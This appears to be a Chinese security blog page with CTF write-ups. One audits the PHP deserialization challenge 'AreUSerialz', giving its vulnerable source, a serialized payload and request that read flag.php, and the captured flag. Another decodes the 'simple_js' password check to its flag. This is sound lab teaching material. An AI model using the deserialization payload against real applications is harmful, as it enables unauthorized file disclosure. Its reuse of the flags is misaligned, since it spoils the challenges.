BoyChai's Blog - 网络安全
https://blog.boychai.xyz/index.php/category/security/
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[代码审计]网鼎杯_2020_青龙组_AreUSerialz
https://blog.boychai.xyz/index.php/archives/67/
2023-10-16T02:16:00+00:00
题目buuoj-网鼎杯_2020_青龙组_AreUSerialz源码<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}分析一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类:
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下 private function output($s) {
echo "[Result]: <br>";
echo $s;
}很简单没啥好说的,就是输出传入的内容。read方法代码如下, private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法 private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法 public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用 protected $op;
protected $filename;
protected $content;op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下 function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。解题分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下<?php
class FileHandler
{
public $op = 2;
public $filename = "flag.php";
public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}之后请求http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}网页显示返回为空直接查看源代码拿到flag?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};补充为什么不使用protected来序列化?PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。 作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili
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[代码审计]攻防世界-simple_js
https://blog.boychai.xyz/index.php/archives/65/
2023-10-08T01:26:00+00:00
题目叫做simple_js,题目描述为小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数函数里面先定义了一个pass,内容如下70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65大概率就是ASCII码,之后又定义了一个tab,内容如下var tab = pass_enc.split(',');pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下var tab2 = pass.split(',');对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。最开始ijkmno都应该是undefined之后i又被赋值了0,j被赋值了tab变量的长度,最后就是k,m,o是undefined之后i=0,l=0,p="",j=tab.length,k=tab.length,n=tab2.length,赋完值之后进行了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
// o=tab[i];
p += String.fromCharCode(tab2[i]);
if(i==5)break;
}p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
// o = tab[i]
if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]);
}p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容 p += String.fromCharCode(tab2[17]);
pass = p;return pass;他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30转换之后变成这样55,56,54,79,115,69,114,116,107,49,50转换成字符串变成这样786OsErtk12这道题目的答案即Cyberpeace{786OsErtk12}
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CDN绕过思路
https://blog.boychai.xyz/index.php/archives/60/
2023-08-07T13:10:00+00:00